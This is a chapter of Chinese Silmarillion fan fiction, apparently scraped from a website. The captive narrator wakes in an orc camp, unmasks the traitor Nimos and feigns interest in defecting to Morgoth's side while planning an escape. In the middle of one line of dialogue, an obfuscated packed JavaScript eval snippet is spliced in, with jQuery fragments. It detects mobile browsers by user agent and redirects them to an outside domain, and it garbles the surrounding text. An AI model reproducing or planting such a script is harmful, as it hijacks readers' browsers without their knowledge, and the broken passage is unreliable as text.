[精灵宝钻 中土]偷天换钻为酒色所伤竟憔悴至此

115.被俘

你诧异于自己居然还活着。


上一秒你坠入水中,下一秒却像是在惊涛骇浪中颠簸,晕眩到想干呕;记忆的断点之后,最先恢复的是尖锐的耳鸣,像生锈铁片刮擦玻璃的余震,眼前的漆黑中闪烁着斑斓的色块,浸满水分的衣服把你像木乃伊一样紧紧包裹起来,你感觉不到一丝温度,却又意识到自己还在呼吸,只是空气像是自带倒刺,从鼻腔到肺部都是灼热刺痛的。


由此,耳鸣终于裂开一道缝隙,将外界仿佛隔着水幕的声音放进了鼓膜,有沉重纷乱的马蹄声从附近传来;你的眼前也逐渐亮起来,树冠的影子在你视网膜上晃动……但颠簸感已经消失了。


你的脑浆好像被摇匀成了浆糊,完全想不出来现在是什么状况,不由得张开嘴试图询问;然而有人用手死死捂住了你的口鼻,很快,你又晕过去了。


……


你再次醒来时,天已经完全黑了,耳鸣眼花和寒冷的症状褪去了不少,只是脑袋仍然晕眩,喉咙和肺部也仍在泛出血腥味。


“您醒了?”


你恍惚地眨眨眼,看着上方熟悉的脸,之前做梦似的记忆潮水般涌来,促使你整个弹了起来:“敌袭……”


你没能完全弹起来,就被剧烈的咳嗽震弯了腰,狼狈地半瘫在地上;火堆的噼啪声响终于引起了你的注意,你才听到某种口音怪异的语言正此起彼伏地环绕着你——是奥克。


……你心肺骤停。


袭击者是奥克?你和尼莫斯被俘虏了?宁奇拉和其他人呢?……


你努力抬起头来,快速观察四周;果不其然,你正身处一个林间空地上的奥克营地中,火堆旁坐着几个磨刀擦甲的奥克,不远处还有另外几个围着奥克的火堆,更多奥克正忙碌地搭起帐篷,或提着罐子来来往往。


但诡异的是,你们身为俘虏,却没有奥克接近你们;或者说,你和尼莫斯附近被刻意地空出了一片地方,你身上裹着发臭但温暖干燥的柔软皮毛,身边还有好几个坛子罐子,都冒着热气,你从中闻到了炖肉的香味,而那些奥克时不时向这边投来嫉妒的目光……这不像是对俘虏的态度。


尼莫斯似乎一如往常,他动作轻柔地把你扶坐起来,给你喂了点温水;见你浑身发抖,他懊恼地啧了一声,把滑落下来的皮毛又给你裹上了:“您真是不懂得照顾自己。”


这话他经常说,但你第一次感到了刺骨的寒意。


被滥用的推荐信、逐步分裂的近卫队、筑坝时暴露的点位、意图深查此事的梅格洛尔到来之前你听到的诺多负面消息……以及,作为“俘虏”的超然地位。


——格拉加姆和塔尔夫还是忠诚的吗?如果连反特委员会都被渗透了,那林顿现在有多少间谍?


“不要怕,大王,您在我身边很安全。”尼莫斯亲切地说,“我会不计一切代价地保护您的。”


你的身体用颤抖无力压下了你抄起罐子砸他脑袋的杀心。


??


冷静了许久,你低哑地问:“我的人呢?”


“这个我是真的不知道。”尼莫斯无辜地答道,“您一路上实在太小心,大家还没找到机会拜见您,您就被劫匪恶徒袭击了。死人那么多,我只来得及救了您,就这还差点被闻声而动的凯勒巩撞个正着呢。唉,那笔财宝可真是招人喜欢啊……”


??


他大概还想让你对凯勒巩生出仇恨来,但宁奇拉他们生死未卜,你已经不在乎财宝了,你只想要袭击者的命;那么首先,你要保住自己的命,回到林顿去。


“我很感谢你的保护。”你放柔了声音,“你应该知道我没有什么种族和阵营的偏见,一切归根结底不过是利益上的冲突——朋友可以转变为敌人,敌人也可以转变为朋友。更何况,你本就是我的朋友。”


尼莫斯高兴极了,殷勤地往你嘴里喂了块肉(你差点以为是人肉而把它吐出来,但很快就分辨出它只是鹿肉),又体贴地替你擦了擦嘴角:“您能这么想真是太好了!我还担心您会因为我一点小小隐瞒而生气呢。”


“我被隐瞒的事多了,不差这一点,你倒是因为不信任我,才说得太晚了。”你的指甲掐进手心,咬牙切齿地说,“等回到林顿,我们联合起来,费诺里安、多瑞亚斯、托尔嘉兰,这些害我至此的家伙我一个都不会放过!”


这都不算假话,只是少了一点——你也绝对不会放过黄雀在后的叛徒和内奸。


尼莫斯眼睛亮亮地看着你,轻快地说:“您的灵魂真是超乎我的想象……但复仇不急于一时,更何况,现在回了林顿,您猜费诺里安知道了财宝的事,会怎么报复您的隐瞒?他们可不像您这样宽宏大量。”


他俯身凑近你,语调带着诱哄:“跟我来吧,那些狭隘愚蠢的埃尔达只会掣肘拖累您,我的主人才能帮助您,把您的智慧和力量发挥到最大;您知道乌方家族吗?他们在费诺里安手下不过是用来运矿和收税的奴隶,可在大君王的慷慨与仁慈之下,他们不过在合适的时间和地点积极配合,就已经是多尔罗明领主了!您在费诺里安手中是被残忍压榨的可怜孩童,但以您的才智,大君王至少可以给您东贝尔兰!那时,您所求的绿精灵的繁荣自由才会真正实现!”


不得不说,你几乎动摇了;但很快,你就清醒过来——人家乌方有一大批族人,可你就一个人,拿头去统治东贝尔兰?还不是会被当成傀儡和吉祥物?还繁荣自由呢,维林诺维拉倒是天高皇帝远,你想在安格班传播女娲娘娘是魔苟斯他姑他能乐意吗?


你已经习惯当个带着真实情绪的演员了,脸上展示的动心贪婪和怀疑一点不少:“我只有一个人,你们战功累累、等着封赏的自己人不少吧?就算大君王赏识,谁能从心底服


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847057|170186||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


我呢?我可不想拿着空头支票撞个头破血流。”你指了指周围的奥克们,真挚地看着尼莫斯,“我只信任你,我们完全可以回林顿,也像乌方那样,在关键的节点再给出致命一击;更何况,我失踪了,梅格洛尔必然要进驻伊斯塔里亚严查人事,没了我的遮掩,你的布局只会被一网打尽。”


尼莫斯眯了眯眼睛。


随后,他用匕首切着罐子里的肉块,慢吞吞地说:“您这样关心其他人,我可是会嫉妒的。难道我为您付出的不够多吗?我接到的强硬命令是杀死您,您可知道我要顶着多大的压力才能保住您的性命?现在您只有乖乖地跟我去希姆凛、争取到迈荣大人的谅解和喜爱,才能让我不那么难过啊。”


看来林顿还不是筛子,至少高层里没有或极少其他“暗棋”,尼莫斯应该是个特例。你飞快分析着他的反应,脸上配合地露出了震惊与恐惧的表情。


这显然让尼莫斯满意了一些,他这次没有用叉子,而是直接用匕首把肉递到你嘴边:“您应该牢记自己是多么脆弱,且积极主动地学会照顾自己——唉,我是真的很担心您,如果发现您在我的视野之外被这些野蛮的小伙子撕碎了,我的心也会碎掉的。”


他并没有压低声音,一直关注着你们的奥克们发出了吃吃的奇怪笑声,他们的目光像箭镞一般刺在你身上。


你垂下眼睛,顺从地咬走了匕首尖上的肉。


……


在被俘虏的第三天,你遥遥地看到了那座山一样的城堡——或者说城堡一样的山;但不同于当初看到多米德的震撼,你的巨物喜爱症只激发了一下就又被苦闷悲凉压下去了。


……谁特喵的断了两条腿还有心情旅游啊!


直接导致了你小腿上夹板的尼莫斯若无其事地给你当导游:“看到了吗?那就是梅斯罗斯所造的可憎堡垒,吞噬了无数兄弟的生命,但如今是大君王的荣光、迈荣大人的驻地。到了之后您一定要好好表现,像今天一样乖就很好,可不能跟前两天那样恃宠而骄、妄图逃跑了……”


你很难形容你心里骂得有多脏。


沿着小盖里安河往西北方向,地势一路走高,你不时能看到荒废的村庄和绿意盎然的农田,以及路上行尸走肉般排成长长一列、被趾高气昂的奥克驱赶的奴隶——你甚至难以分辨他们是精灵、人类还是奥克。


“他们跟您不一样。”尼莫斯安慰你,“您是技术性人才,这些愚蠢的家伙只配挖矿和下地种田。”


你翻了个白眼。


尼莫斯一路上都在喋喋不休地教你怎么取悦迈荣,你一边想若是索隆在这儿你还有点兴趣,迈荣这种无名小卒、你的手下败将谁稀罕,一边嗯嗯哦哦好的收到地敷衍他。


——等你把腿养好了,你就继续找机会跑路;等你打到希姆凛,你必须把尼莫斯头盖骨也踩成骨折……